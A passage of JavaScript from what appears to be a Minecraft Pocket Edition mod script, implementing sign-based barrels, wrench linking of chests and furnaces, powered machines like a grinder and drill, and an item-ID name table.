Player.getInventorySlotData(i)==Player.getCarriedItemData() && Player.getInventorySlotCount(i)==Player.getCarriedItemCount()){ Player.clearInventorySlot(i); break; } } } else if(itemCount<4096 && itemCount+Player.getCarriedItemCount()>4096){ for(var i=0;i<9;i++){ if(Player.getInventorySlot(i)==Player.getCarriedItem() && Player.getInventorySlotData(i)==Player.getCarriedItemData()){ net.zhuoweizhang.mcpelauncher.ScriptManager.nativeSetInventorySlot(i,Player.getCarriedItem(),Player.getInventorySlotCount(i)-(4096-itemCount),Player.getCarriedItemData()); break; } } itemCount=4096; Level.setSignText(x,y,z,2,parseInt(itemCount/64)+"x64+"+(itemCount-parseInt(itemCount/64)*64)); } } else if(Level.getSignText(x,y,z,0)=="Barrel" && Level.getSignText(x,y,z,3)!="Barrel" && Level.getSignText(x,y,z,1)!=name && Level.getTile(sides[Level.getData(x,y,z)][0],sides[Level.getData(x,y,z)][1],sides[Level.getData(x,y,z)][2])==180){ var itemCount=64*parseInt(Level.getSignText(x,y,z,2).split("x")[0])+parseInt(Level.getSignText(x,y,z,2).split("+")[1]); if(itemCount<=64){ Level.dropItem(Player.getX(),Player.getY(),Player.getZ(),0,Level.getSignText(x,y,z,3).split(":")[0],itemCount,Level.getSignText(x,y,z,3).split(":")[1]); Level.setSignText(x,y,z,1," "); Level.setSignText(x,y,z,2," "); Level.setSignText(x,y,z,3,"Barrel"); } else{ Level.dropItem(Player.getX(),Player.getY(),Player.getZ(),0,Level.getSignText(x,y,z,3).split(":")[0],64,Level.getSignText(x,y,z,3).split(":")[1]); itemCount-=64; Level.setSignText(x,y,z,2,parseInt(itemCount/64)+"x64+"+(itemCount-parseInt(itemCount/64)*64)); } } } if(itemID==460){ if(wrenchMode!="none") preventDefault(); if(wrenchMode=="linking" && blockID==54){ if(!linking){ linkingChest=[x,y,z]; clientMessage("Link started at: "+[x,y,z]); linking=true; } else if(linking){ if(x==linkingChest[0] && y==linkingChest[1] && z==linkingChest[2]) clientMessage("Can't link to this chest..."); else{ wrenchEx.push(linkingChest); wrenchIm.push([x,y,z]); wrenchFrqs.push(1); clientMessage("Linked to: "+[x,y,z]); linkingChest=null; linking=false; } } } if(wrenchMode=="linking" && blockID==68 && Level.getSignText(x,y,z,0)=="Barrel"){ if(!linking){ linkingChest=[x,y,z]; clientMessage("Link started at: "+[x,y,z]); linking=true; } else if(linking){ if(x==linkingChest[0] && y==linkingChest[1] && z==linkingChest[2]) clientMessage("Can't link to this barrel..."); else{ wrenchEx.push(linkingChest); wrenchIm.push([x,y,z]); wrenchFrqs.push(1); clientMessage("Linked to: "+[x,y,z]); linkingChest=null; linking=false; } } } if(wrenchMode=="linking" && (blockID==61 ||blockID==62)){ if(!linking){ if(side!=1){ linkingChest=[x,y,z]; clientMessage("Link started at: "+[x,y,z]); linking=true; } else clientMessage("That's input side..."); } else if(linking){ if(x==linkingChest[0] && y==linkingChest[1] && z==linkingChest[2]) clientMessage("Can't link to this furnace..."); else{ if(side==1){ wrenchEx.push(linkingChest); wrenchIm.push([x,y,z]); wrenchFrqs.push(1); clientMessage("Linked to: "+[x,y,z]); linkingChest=null; linking=false; } else clientMessage("That's output side..."); } } } if(wrenchMode=="unlinking" && (blockID==54 || blockID==61 || blockID==62 || (blockID==68 && Level.getSignText(x,y,z,0)=="Barrel"))){ var didSomething=false; for(var i=0;i<wrenchEx.length;i++){ if(wrenchFrqs[i]==1 && ((wrenchEx[i][0]==x && wrenchEx[i][1]==y && wrenchEx[i][2]==z) || (wrenchIm[i][0]==x && wrenchIm[i][1]==y && wrenchIm[i][2]==z))){ wrenchFrqs[i]=0; clientMessage("Unlinked "+wrenchEx[i]+" and "+[x,y,z]); didSomething=true; } } if(!didSomething && blockID==54) clientMessage("This chest isn't linked..."); if(!didSomething && (blockID==61 || blockID==62)) clientMessage("This furnace isn't linked..."); if(!didSomething && blockID==68) clientMessage("This barrel isn't linked..."); } } } function attackHook(attacker,victim){ if(Player.getArmorSlot(0)==302) renderHelmetGUI(); } function destroyBlock(x,y,z,side){ poweredBlocks=[]; if(Level.getTile(x,y,z)==193 || Level.getTile(x,y,z)==194){ preventDefault(); Level.destroyBlock(x,y,z,true); } CheckTheWires(); if(Level.getTile(x,y,z)==68 && Level.getSignText(x,y,z,0)!="Barrel") Level.destroyBlock(x,y,z,true); if(Level.getTile(x,y,z)==198){ Level.destroyBlock(x,y,z,false); if(Chances(10)) Level.dropItem(x,y,z,0,196,1,0); } if(Level.getTile(x,y,z)==200){ Level.destroyBlock(x,y,z,true); for(var i=0;i<y;i++){ if(Level.getTile(x,y-i,z)==201) Level.setTile(x,y-i,z,0); } } var sides=[[x,y-1,z],[x,y+1,z],[x,y,z-1],[x,y,z+1],[x-1,y,z],[x+1,y,z]]; if(Level.getTile(x,y,z)==180){ for(var i=0;i<6;i++){ if(Level.getTile(sides[i][0],sides[i][1],sides[i][2])==68 && Level.getSignText(sides[i][0],sides[i][1],sides[i][2],0)=="Barrel"){ if(Level.getSignText(sides[i][0],sides[i][1],sides[i][2],3)=="Barrel"){ Level.destroyBlock(sides[i][0],sides[i][1],sides[i][2],false); Level.destroyBlock(x,y,z,true); break; } else if(Level.getSignText(sides[i][0],sides[i][1],sides[i][2],3)!="Barrel"){ Level.dropItem(x,y,z,0,parseInt(Level.getSignText(sides[i][0],sides[i][1],sides[i][2],3).split(":")[0]),64*parseInt(Level.getSignText(sides[i][0],sides[i][1],sides[i][2],2).split("x")[0])+parseInt(Level.getSignText(sides[i][0],sides[i][1],sides[i][2],2).split("+")[1]),parseInt(Level.getSignText(sides[i][0],sides[i][1],sides[i][2],3).split(":")[1])); Level.destroyBlock(sides[i][0],sides[i][1],sides[i][2],false); Level.destroyBlock(x,y,z,true); break; } else{ Level.destroyBlock(sides[i][0],sides[i][1],sides[i][2],false); Level.destroyBlock(x,y,z,true); break; } } } } else if(Level.getTile(x,y,z)==68 && Level.getSignText(x,y,z,0)=="Barrel"){ for(var i=0;i<6;i++){ if(Level.getTile(sides[i][0],sides[i][1],sides[i][2])==180){ if(Level.getSignText(x,y,z,3)=="Barrel"){ Level.destroyBlock(x,y,z,false); Level.destroyBlock(sides[i][0],sides[i][1],sides[i][2],true); break; } else if(Level.getSignText(x,y,z,3)!="Barrel"){ Level.dropItem(x,y,z,0,parseInt(Level.getSignText(x,y,z,3).split(":")[0]),64*parseInt(Level.getSignText(x,y,z,2).split("x")[0])+parseInt(Level.getSignText(x,y,z,2).split("+")[1]),parseInt(Level.getSignText(x,y,z,3).split(":")[1])); Level.destroyBlock(x,y,z,false); Level.destroyBlock(sides[i][0],sides[i][1],sides[i][2],true); break; } } } } } function leaveGame(){ ex=[]; wrenchEx=[]; wrenchIm=[]; wrenchFrqs=[]; linking=false; wrenchMode="linking"; uBlocks=[]; HideWrenchGUI(); HideJetpackGUI(); HideGuideGUI(); pBlocks=[]; poweredBlocks=[]; HideMachineGUI(); mBlocks=[]; mBlocksSlots={"none":[0,0,0,0]}; mBlocksProgress={"none":0}; loaded=false; } function renderHelmetGUI(){ if(Player.getArmorSlot(0)==302){ var types={10:"Chicken",11:"Cow",12:"Pig",13:"Sheep",32:"Zombie",34:"Skeleton",35:"Spider",33:"Creeper",36:"Zombie Pigman"}; for(var i=0;i<Entity.getAll().length;i++){ var ent=Entity.getEntityTypeId(Entity.getAll()[i]); if(ent>9 && ent<14) Entity.setNameTag(Entity.getAll()[i],types[ent]+"\nHealth: "+Entity.getHealth(Entity.getAll()[i])); if(ent>31 && ent<37) Entity.setNameTag(Entity.getAll()[i],types[ent]+"\nHealth: "+Entity.getHealth(Entity.getAll()[i])); } } else{ for(var i=0;i<Entity.getAll().length;i++){ var ent=Entity.getEntityTypeId(Entity.getAll()[i]); if(((ent>9 && ent<14) || (ent>31 && ent<37)) && Entity.getNameTag(Entity.getAll()[i])) Entity.setNameTag(Entity.getAll()[i],""); } } } function GrowTree(x,y,z){ Level.setTile(x,y,z,197); Level.setTile(x,y+1,z,197); Level.setTile(x,y+2,z,197); Level.setTile(x,y+3,z,197); Level.setTile(x,y+4,z,198); //Level.setTile(x-1,y+4,z,198); //Level.setTile(x+1,y+4,z,198); //Level.setTile(x,y+4,z-1,198); //Level.setTile(x,y+4,z+1,198); Level.setTile(x-1,y+3,z,198); Level.setTile(x+1,y+3,z,198); Level.setTile(x,y+3,z-1,198); Level.setTile(x,y+3,z+1,198); Level.setTile(x-1,y+2,z,198); Level.setTile(x+1,y+2,z,198); Level.setTile(x,y+2,z-1,198); Level.setTile(x,y+2,z+1,198); Level.setTile(x-1,y+2,z-1,198); Level.setTile(x+1,y+2,z-1,198); Level.setTile(x-1,y+2,z+1,198); Level.setTile(x+1,y+2,z+1,198); } function GetItemBlockName(id){ var IDs={ "0:0":"","1:0":"Stone","2:0":"Grass","3:0":"Dirt","4:0":"Cobblestone","5:0":"Wooden Plank","6:0":"Oak Sapling","6:1":"Spruce Sapling","6:2":"Birch Sapling","7:0":"Bedrock","8:0":"Water","9:0":"Stationary water","10:0":"Lava","11:0":"Stationary lava","12:0":"Sand","13:0":"Gravel","14:0":"Gold Ore","15:0":"Iron Ore","16:0":"Coal Ore","17:0":"Oak Log","17:1":"Spruce Log","17:2":"Birch Log","18:0":"Oak Leaves","18:1":"Spruce Leaves","18:2":"Birch Leaves","19:0":"Sponge","20:0":"Glass","21:0":"Lapis Lazuli Ore","22:0":"Lapis Lazuli Block","24:0":"Sandstone","24:1":"Chiseled Sandstone","24:2":"Smooth Sandstone","26:0":"Bed Block","27:0":"Powered Rail","30:0":"Cobweb","31:0":"Dead Shrub","32:0":"Dead Bush","35:0":"White Wool","35:1":"Orange Wool","35:2":"Magenta Wool","35:3":"Light Blue Wool","35:4":"Yellow Wool","35:5":"Lime Green Wool","35:6":"Pink Wool","35:7":"Gray Wool","35:8":"Light Gray Wool","35:9":"Cyan Wool","35:10":"Purple Wool","35:11":"Blue Wool","35:12":"Brown Wool","35:13":"Green Wool","35:14":"Red Wool","35:15":"Black Wool","37:0":"Yellow Flower","38:0":"Cyan Flower","39:0":"Brown Mushroom","40:0":"Red Mushroom","41:0":"Gold Block","42:0":"Iron Block","43:0":"Double Slab (Stone)","43:1":"Double Slab (Sandstone)","43:2":"Double Slab (Wood)","43:3":"Double Slab (Cobblestone)","43:4":"Double Slab (Brick)","43:6":"Double Slab (Stone)","44:0":"Slab (Stone)","44:1":"Slab (Sandstone)","44:2":"Slab (Wood)","44:3":"Slab (Cobblestone)","44:4":"Slab (Brick)","44:5":"Slab (Stone Brick)","44:6":"Slab (Stone)","44:7":"Slab (Quartz)","45:0":"Brick Block","46:0":"TNT","47:0":"Bookshelf","48:0":"Moss Stone","49:0":"Obsidian", "50:0":"Torch","51:0":"Fire","53:0":"Wooden Stairs","54:0":"Chest","56:0":"Diamond Ore","57:0":"Diamond Block","58:0":"Crafting Table","59:0":"Crops","60:0":"Farmland","61:0":"Furnace","62:0":"Burning Furnace","63:0":"Sign Post","64:0":"Wooden Door","65:0":"Ladder","66:0":"Rail","67:0":"Cobblestone Stairs","68:0":"Wall Sign","71:0":"Iron Door","73:0":"Redstone Ore","74:0":"Glowing Redstone Ore","78:0":"Snow","79:0":"Ice","80:0":"Snow Block","81:0":"Cactus","82:0":"Clay Block","83:0":"Sugar Cane","85:0":"Fence","86:0":"Pumpkin","87:0":"Netherrack","89:0":"Glowstone","91:0":"Jack 'o' Lantern","92:0":"Cake","95:0":"Invisible bedrock","96:0":"Trapdoor","98:0":"Stone Bricks","98:1":"Stone Brick (mossy)","98:2":"Stone Brick (cracked)", "101:0":"Iron Bars","102:0":"Glass Pane","103:0":"Melon","104:0":"Pumpkin Stem","105:0":"Melon Stem","107:0":"Fence Gate","108:0":"Brick Stairs","109:0":"Stone Brick Stairs","112:0":"Nether Brick","114:0":"Nether Brick Stairs","126:0":"Cake","128:0":"Sandstone Stairs","134:0":"Spruce Stairs","135:0":"Birch Stairs","136:0":"Jungle Stairs","139:0":"Cobblestone Wall","141:0":"Carrot","142:0":"Potato", "155:0":"Block of Quartz","155:1":"Chiseled Quartz Block","155:2":"Pillar Quartz Block","156:0":"Quartz Stairs","157:0":"Wooden Double Stairs","158:0":"Wooden Slab","170:0":"Hey Bale","171:0":"Carpet","173:0":"Block of Coal", "244:0":"Beetroot","245:0":"Stone Cutter","246:0":"Glowing Obsidian","247:0":"Nether Reactor Core","248:0":"Update","249:0":"Update","253:0":"Update","254:0":"Update","255:0":"Update", "256:0":"Iron Shovel","257:0":"Iron Pickaxe","258:0":"Iron Axe","259:0":"Flint and Steel","260:0":"Apple","261:0":"Bow","262:0":"Arrow","263:0":"Coal","263:1":"Charcoal","264:0":"Diamond","265:0":"Iron Ingot","266:0":"Gold Ingot","267:0":"Iron Sword","268:0":"Wooden Sword","269:0":"Wooden Shovel","270:0":"Wooden Pickaxe","271:0":"Wooden Axe","272:0":"Stone Sword","273:0":"Stone Shovel","274:0":"Stone Pickaxe","275:0":"Stone Axe","276:0":"Diamond Sword","277:0":"Diamond Shovel","278:0":"Diamond Pickaxe","279:0":"Diamond Axe","280:0":"Stick","281:0":"Bowl","282:0":"Mushroom Soup","283:0":"Gold Sword","284:0":"Gold Shovel","285:0":"Gold Pickaxe","286:0":"Gold Axe","287:0":"String","288:0":"Feather","289:0":"Gunpowder","290:0":"Wooden Hoe","291:0":"Stone Hoe","292:0":"Iron Hoe","293:0":"Diamond Hoe","294:0":"Gold Hoe","295:0":"Seeds","296:0":"Wheat","297:0":"Bread","298:0":"Leather Helmet","299:0":"Leather Chestplate", "300:0":"Leather Leggings","301:0":"Leather Boots","302:0":"Chainmail Helmet","303:0":"Chainmail Chestplate","304:0":"Chainmail Leggings","305:0":"Chainmail Boots","306:0":"Iron Helmet","307:0":"Iron Chestplate","308:0":"Iron Leggings","309:0":"Iron Boots","310:0":"Diamond Helmet","311:0":"Diamond Chestplate","312:0":"Diamond Leggings","313:0":"Diamond Boots","314:0":"Gold Helmet","315:0":"Gold Chestplate","316:0":"Gold Leggings","317:0":"Gold Boots","318:0":"Flint","319:0":"Raw Porkchop","320:0":"Cooked Porkchop","321:0":"Painting","323:0":"Sign","324:0":"Wooden Door","325:0":"Bucket","325:1":"Milk Bucket","325:8":"Water Bucket","325:10":"Lava Bucket","328:0":"Minecart","329:0":"Saddle","330:0":"Iron Door","331:0":"Redstone","332:0":"Snowball","334:0":"Leather","336:0":"Clay Brick","337:0":"Clay","338:0":"Sugar Cane","339:0":"Paper","340:0":"Book","341:0":"Slime Ball","344:0":"Egg","345:0":"Compass","347:0":"Clock","348:0":"Glowstone Dust", "351:0":"Ink Sack","351:1":"Rose Red","351:2":"Cactus Green","351:3":"Cocoa Beans","351:4":"Lapis Lazuli","351:5":"Purple Dye","351:6":"Cyan Dye","351:7":"Light Gray Dye","351:8":"Gray Dye","351:9":"Pink Dye","351:10":"Lime Dye","351:11":"Dandelion Yellow Dye","351:12":"Light Blue Dye","351:13":"Magenta Dye","351:14":"Orange Dye","351:15":"Bone Meal","352:0":"Bone","353:0":"Sugar","354:0":"Cake","355:0":"Bed","359:0":"Shears","360:0":"Melon","361:0":"Pumpkin Seeds","362:0":"Melon Seeds","363:0":"Raw Beef","364:0":"Steak","365:0":"Raw Chicken","366:0":"Cooked Chicken","383:10":"Spawn Chicken","383:11":"Spawn Cow","383:12":"Spawn Pig","383:13":"Spawn Sheep","391:0":"Carrot","392:0":"Potato","393:0":"Baked Potato","400:0":"Pumpkin Pie","405:0":"Nether Brick","406:0":"Nether Quartz","456:0":"Camera","457:0":"Beetroot","458:0":"Beetroot Seeds","459:0":"Beetroot Soup" }; if(IDs[id]) return IDs[id]; else return Item.getName(parseInt(id.split(":")[0]),parseInt(id.split(":")[2]),true).replace("item.","").replace("tile.",""); } function InArray(arr1,arr2){ if(arr2.length==0) return false; for(var i=0;i<arr2.length;i++){ if(arr2[i][0]==arr1[0] && arr2[i][1]==arr1[1] && arr2[i][2]==arr1[2]) return true; } return false; } function FindHighestY(x,z){ for(var y=parseInt(Player.getY())+64;y>0;y--){ if(Level.getTile(x,y,z)!=0) return y; } return 0; } function IDinArray(arr1,arr2){ for(var i=0;i<arr2.length;i++){ if(arr2[i][0]==arr1[0] && arr2[i][1]==arr1[1]) return true; } return false; } function Chances(p){ var rnd=Math.floor(Math.random()*101); if(rnd<p) return true; return false; } var machineWindow=null; var closeButtonWindow=null; var playerWindow=null; function Machines(){ if(mBlocks.length==0) return; for(var i=0;i<mBlocks.length;i++){ if(Level.getTile(mBlocks[i][0],mBlocks[i][1],mBlocks[i][2])==195){ //Grinder var sides=[[mBlocks[i][0],mBlocks[i][1]-1,mBlocks[i][2]],[mBlocks[i][0],mBlocks[i][1]+1,mBlocks[i][2]],[mBlocks[i][0],mBlocks[i][1],mBlocks[i][2]-1],[mBlocks[i][0],mBlocks[i][1],mBlocks[i][2]+1],[mBlocks[i][0]-1,mBlocks[i][1],mBlocks[i][2]],[mBlocks[i][0]+1,mBlocks[i][1],mBlocks[i][2]]]; var con=false; for(var j=0;j<6;j++){ if(InArray([sides[j][0],sides[j][1],sides[j][2]],poweredBlocks)){ con=true; break; } } if(mBlocksSlots[mBlocks[i][0]+","+mBlocks[i][1]+","+mBlocks[i][2]][0]!=0 && con && mBlocksSlots[mBlocks[i][0]+","+mBlocks[i][1]+","+mBlocks[i][2]][3]<64) mBlocksProgress[mBlocks[i][0]+","+mBlocks[i][1]+","+mBlocks[i][2]]+=0.5; else mBlocksProgress[mBlocks[i][0]+","+mBlocks[i][1]+","+mBlocks[i][2]]=0; if(mBlocksProgress[mBlocks[i][0]+","+mBlocks[i][1]+","+mBlocks[i][2]]==100){ if(mBlocksSlots[mBlocks[i][0]+","+mBlocks[i][1]+","+mBlocks[i][2]][2]==0 || (mBlocksSlots[mBlocks[i][0]+","+mBlocks[i][1]+","+mBlocks[i][2]][2]==grinded[mBlocksSlots[mBlocks[i][0]+","+mBlocks[i][1]+","+mBlocks[i][2]][0]] && mBlocksSlots[mBlocks[i][0]+","+mBlocks[i][1]+","+mBlocks[i][2]][3]<64)){ if(mBlocksSlots[mBlocks[i][0]+","+mBlocks[i][1]+","+mBlocks[i][2]][2]==0){ mBlocksSlots[mBlocks[i][0]+","+mBlocks[i][1]+","+mBlocks[i][2]][2]=grinded[mBlocksSlots[mBlocks[i][0]+","+mBlocks[i][1]+","+mBlocks[i][2]][0]]; mBlocksSlots[mBlocks[i][0]+","+mBlocks[i][1]+","+mBlocks[i][2]][3]=1; } else mBlocksSlots[mBlocks[i][0]+","+mBlocks[i][1]+","+mBlocks[i][2]][3]++; if(mBlocksSlots[mBlocks[i][0]+","+mBlocks[i][1]+","+mBlocks[i][2]][1]==1) mBlocksSlots[mBlocks[i][0]+","+mBlocks[i][1]+","+mBlocks[i][2]][0]=0; mBlocksSlots[mBlocks[i][0]+","+mBlocks[i][1]+","+mBlocks[i][2]][1]--; } mBlocksProgress[mBlocks[i][0]+","+mBlocks[i][1]+","+mBlocks[i][2]]=0; if(machineWindow!=null) ShowMachineGUI(mBlocks[i][0]+","+mBlocks[i][1]+","+mBlocks[i][2]); } if(mBlocksSlots[mBlocks[i][0]+","+mBlocks[i][1]+","+mBlocks[i][2]][2]!=0){ for(var j=2;j<6;j++){ if(Level.getTile(sides[j][0],sides[j][1],sides[j][2])==54 || Level.getTile(sides[j][0],sides[j][1],sides[j][2])==61 || Level.getTile(sides[j][0],sides[j][1],sides[j][2])==62){ var old=Level.getTile(mBlocks[i][0],mBlocks[i][1],mBlocks[i][2]); Level.setTile(mBlocks[i][0],mBlocks[i][1],mBlocks[i][2],54,0); Level.setChestSlot(mBlocks[i][0],mBlocks[i][1],mBlocks[i][2],0,mBlocksSlots[mBlocks[i][0]+","+mBlocks[i][1]+","+mBlocks[i][2]][2],0,1); if(MoveItems([mBlocks[i][0],mBlocks[i][1],mBlocks[i][2]],[sides[j][0],sides[j][1],sides[j][2]],1)){ mBlocksSlots[mBlocks[i][0]+","+mBlocks[i][1]+","+mBlocks[i][2]][3]--; if(mBlocksSlots[mBlocks[i][0]+","+mBlocks[i][1]+","+mBlocks[i][2]][3]==0) mBlocksSlots[mBlocks[i][0]+","+mBlocks[i][1]+","+mBlocks[i][2]][2]=0; } Level.setChestSlot(mBlocks[i][0],mBlocks[i][1],mBlocks[i][2],0,0); Level.setTile(mBlocks[i][0],mBlocks[i][1],mBlocks[i][2],old,0); break; } else if(Level.getTile(sides[j][0],sides[j][1],sides[j][2])==182){ var old=Level.getTile(mBlocks[i][0],mBlocks[i][1],mBlocks[i][2]); Level.setTile(mBlocks[i][0],mBlocks[i][1],mBlocks[i][2],54,0); Level.setChestSlot(mBlocks[i][0],mBlocks[i][1],mBlocks[i][2],0,mBlocksSlots[mBlocks[i][0]+","+mBlocks[i][1]+","+mBlocks[i][2]][2],0,1); Level.setTile(sides[j][0],sides[j][1],sides[j][2],181,0); if(MoveItems([mBlocks[i][0],mBlocks[i][1],mBlocks[i][2]],FindChest(sides[j][0],sides[j][1],sides[j][2]),1)){ mBlocksSlots[mBlocks[i][0]+","+mBlocks[i][1]+","+mBlocks[i][2]][3]--; if(mBlocksSlots[mBlocks[i][0]+","+mBlocks[i][1]+","+mBlocks[i][2]][3]==0) mBlocksSlots[mBlocks[i][0]+","+mBlocks[i][1]+","+mBlocks[i][2]][2]=0; } Level.setChestSlot(mBlocks[i][0],mBlocks[i][1],mBlocks[i][2],0,0); Level.setTile(mBlocks[i][0],mBlocks[i][1],mBlocks[i][2],old,0); Level.setTile(sides[j][0],sides[j][1],sides[j][2],182,0); break; } else if(Level.getTile(sides[j][0],sides[j][1],sides[j][2])==180){ sides=[[sides[j][0],sides[j][1]-1,sides[j][2]],[sides[j][0],sides[j][1]+1,sides[j][2]],[sides[j][0],sides[j][1],sides[j][2]-1],[sides[j][0],sides[j][1],sides[j][2]+1],[sides[j][0]-1,sides[j][1],sides[j][2]],[sides[j][0]+1,sides[j][1],sides[j][2]]]; var old=Level.getTile(mBlocks[i][0],mBlocks[i][1],mBlocks[i][2]); var cx,cy,cz; for(var k=0;k<6;k++){ if(Level.getTile(sides[k][0],sides[k][1],sides[k][2])==68 && Level.getSignText(sides[k][0],sides[k][1],sides[k][2],0)=="Barrel"){ cx=sides[k][0]; cy=sides[k][1]; cz=sides[k][2]; break; } } if(cx==cy) break; Level.setTile(mBlocks[i][0],mBlocks[i][1],mBlocks[i][2],54,0); Level.setChestSlot(mBlocks[i][0],mBlocks[i][1],mBlocks[i][2],0,mBlocksSlots[mBlocks[i][0]+","+mBlocks[i][1]+","+mBlocks[i][2]][2],0,1); if(MoveItems([mBlocks[i][0],mBlocks[i][1],mBlocks[i][2]],[cx,cy,cz],1)){ mBlocksSlots[mBlocks[i][0]+","+mBlocks[i][1]+","+mBlocks[i][2]][3]--; if(mBlocksSlots[mBlocks[i][0]+","+mBlocks[i][1]+","+mBlocks[i][2]][3]==0) mBlocksSlots[mBlocks[i][0]+","+mBlocks[i][1]+","+mBlocks[i][2]][2]=0; } Level.setChestSlot(mBlocks[i][0],mBlocks[i][1],mBlocks[i][2],0,0); Level.setTile(mBlocks[i][0],mBlocks[i][1],mBlocks[i][2],old,0); break; } } } } if(Level.getTile(mBlocks[i][0],mBlocks[i][1],mBlocks[i][2])==200){ //Drill var sides=[[mBlocks[i][0],mBlocks[i][1]-1,mBlocks[i][2]],[mBlocks[i][0],mBlocks[i][1]+1,mBlocks[i][2]],[mBlocks[i][0],mBlocks[i][1],mBlocks[i][2]-1],[mBlocks[i][0],mBlocks[i][1],mBlocks[i][2]+1],[mBlocks[i][0]-1,mBlocks[i][1],mBlocks[i][2]],[mBlocks[i][0]+1,mBlocks[i][1],mBlocks[i][2]]]; var con=false; for(var j=0;j<6;j++){ if(InArray([sides[j][0],sides[j][1],sides[j][2]],poweredBlocks)){ con=true; break; } } if(con && (tickCounter==19 || tickCounter==39)){ for(var y=1;y<mBlocks[i][1]+1;y++){ if(Level.getTile(mBlocks[i][0],mBlocks[i][1]-y,mBlocks[i][2])==7){ mBlocks.splice(i,1); return; } else if(Level.getTile(mBlocks[i][0],mBlocks[i][1]-y,mBlocks[i][2])==0) Level.setTile(mBlocks[i][0],mBlocks[i][1]-y,mBlocks[i][2],201); else if(Level.getTile(mBlocks[i][0],mBlocks[i][1]-y,mBlocks[i][2])!=0 && Level.getTile(mBlocks[i][0],mBlocks[i][1]-y,mBlocks[i][2])!=201){ var blockID=[Level.getTile(mBlocks[i][0],mBlocks[i][1]-y,mBlocks[i][2]),Level.getData(mBlocks[i][0],mBlocks[i][1]-y,mBlocks[i][2]),1]; Level.destroyBlock(mBlocks[i][0],mBlocks[i][1]-y,mBlocks[i][2],false); blockID=GetCorrectBlock(blockID[0],blockID[1],blockID[2]); if(blockID[0]!=0) AutoOutput(mBlocks[i][0],mBlocks[i][1],mBlocks[i][2],blockID[0],blockID[1],blockID[2]); break; } } } } } } function AutoOutput(x,y,z,id,dmg,amount){ var sides=[[x,y-1,z],[x,y+1,z],[x,y,z-1],[x,y,z+1],[x-1,y,z],[x+1,y,z]]; var cx,cy,cz; for(var i=0;i<6;i++){ if(Level.getTile(sides[i][0],sides[i][1],sides[i][2])==54){ cx=sides[i][0]; cy=sides[i][1]; cz=sides[i][2]; var old=Level.getTile(x,y,z); Level.setTile(x,y,z,54); Level.setChestSlot(x,y,z,0,id,dmg,amount); MoveItems([x,y,z],[cx,cy,cz],amount); Level.setChestSlot(x,y,z,0,0); Level.setTile(x,y,z,old); break; } if(Level.getTile(sides[i][0],sides[i][1],sides[i][2])==182){ cx=sides[i][0]; cy=sides[i][1]; cz=sides[i][2]; var old=Level.getTile(x,y,z); Level.setTile(x,y,z,54); Level.setTile(cx,cy,cz,181); Level.setChestSlot(x,y,z,0,id,dmg,amount); MoveItems([x,y,z],FindChest(cx,cy,cz),amount); Level.setChestSlot(x,y,z,0,0); Level.setTile(cx,cy,cz,182); Level.setTile(x,y,z,old); break; } } if(cx==cy){ Level.dropItem(x,y+1,z,0,id,amount,dmg) } } function GetCorrectBlock(id,dmg,amount){ var IDb={ 8:0,9:0,10:0,11:0,18:0,19:0,20:0,30:0,31:0,32:0,51:0,79:0,92:0,102:0, 1:4,2:3,16:263,21:351,43:44,56:264,59:295,60:3,62:61,63:323,68:323,73:331,74:331,78:332,82:337,83:338,89:348,104:360,105:361,141:391,142:392,244:458 }; if(IDb[id]) id=IDb[id]; dmg=0; amount=1; if(id==331) amount=4; if(id==337) amount=4; if(id==348) amount=3; if(id==351){ amount=6; dmg=4; } return [id,dmg,amount]; } function CheckTheWires(){ if(pBlocks.length>0){ for(var i=0;i<pBlocks.length;i++){ if(Level.getTile(pBlocks[i][0],pBlocks[i][1],pBlocks[i][2])==193) //Solar panel PowerDistribution(pBlocks[i][0],pBlocks[i][1],pBlocks[i][2],true); if(Level.getTile(pBlocks[i][0],pBlocks[i][1],pBlocks[i][2])==194) //Wire PowerDistribution(pBlocks[i][0],pBlocks[i][1],pBlocks[i][2],false); var sides=[[pBlocks[i][0],pBlocks[i][1]-1,pBlocks[i][2]],[pBlocks[i][0],pBlocks[i][1]+1,pBlocks[i][2]],[pBlocks[i][0],pBlocks[i][1],pBlocks[i][2]-1],[pBlocks[i][0],pBlocks[i][1],pBlocks[i][2]+1],[pBlocks[i][0]-1,pBlocks[i][1],pBlocks[i][2]],[pBlocks[i][0]+1,pBlocks[i][1],pBlocks[i][2]]]; for(var j=0;j<6;j++){ if(Level.getTile(sides[j][0],sides[j][1],sides[j][2])==193 || Level.getTile(sides[j][0],sides[j][1],sides[j][2])==194){ if(!InArray([sides[j][0],sides[j][1],sides[j][2]],pBlocks)) pBlocks.push([sides[j][0],sides[j][1],sides[j][2]]); } } } } } function PlaceBlock(x,y,z,side,id,dmg){ var sides=[[x,y-1,z],[x,y+1,z],[x,y,z-1],[x,y,z+1],[x-1,y,z],[x+1,y,z]]; Level.setTile(sides[side][0],sides[side][1],sides[side][2],id,dmg); if(Player.getCarriedItemCount()>1) Entity.setCarriedItem(Player.getEntity(),Player.getCarriedItem(),Player.getCarriedItemCount()-1,Player.getCarriedItemData()); else{ for(var i=0;i<9;i++){ if(Player.getInventorySlot(i)==Player.getCarriedItem() && Player.getInventorySlotData(i)==Player.getCarriedItemData() && Player.getInventorySlotCount(i)==Player.getCarriedItemCount()){ Player.clearInventorySlot(i); break; } } } } function PowerDistribution(x,y,z,bool){ if(bool && !InArray([x,y,z],poweredBlocks)) poweredBlocks.push([x,y,z]); else{ var sides=[[x,y-1,z],[x,y+1,z],[x,y,z-1],[x,y,z+1],[x-1,y,z],[x+1,y,z]]; for(var i=0;i<6;i++){ if(InArray([sides[i][0],sides[i][1],sides[i][2]],poweredBlocks) && !InArray([x,y,z],poweredBlocks)){ poweredBlocks.push([x,y,z]); break; } } } } function Generator(x,y,z,id,dmg,amount){ var waterPos=[]; var lavaPos=[]; if(id==4 || id==1 || id==49){ var sides=[[x,y-1,z],[x,y+1,z],[x,y,z-1],[x,y,z+1],[x-1,y,z],[x+1,y,z]]; var isWater=false; var isLava=false; for(var i=2;i<6;i++){ if(Level.getTile(sides[i][0],sides[i][1],sides[i][2])==11 || Level.getTile(sides[i][0],sides[i][1],sides[i][2])==10){ isLava=true; lavaPos=[sides[i][0],sides[i][1],sides[i][2]]; } else if(Level.getTile(sides[i][0],sides[i][1],sides[i][2])==9 || Level.getTile(sides[i][0],sides[i][1],sides[i][2])==8){ isWater=true; waterPos=[sides[i][0],sides[i][1],sides[i][2]]; } } if(!isWater || !isLava) return; } if(Level.getTile(x,y+1,z)==54){ var old=Level.getTile(x,y,z); Level.setTile(x,y,z,54); Level.setChestSlot(x,y,z,0,id,dmg,amount); MoveItems([x,y,z],[x,y+1,z],amount); if(id==1) 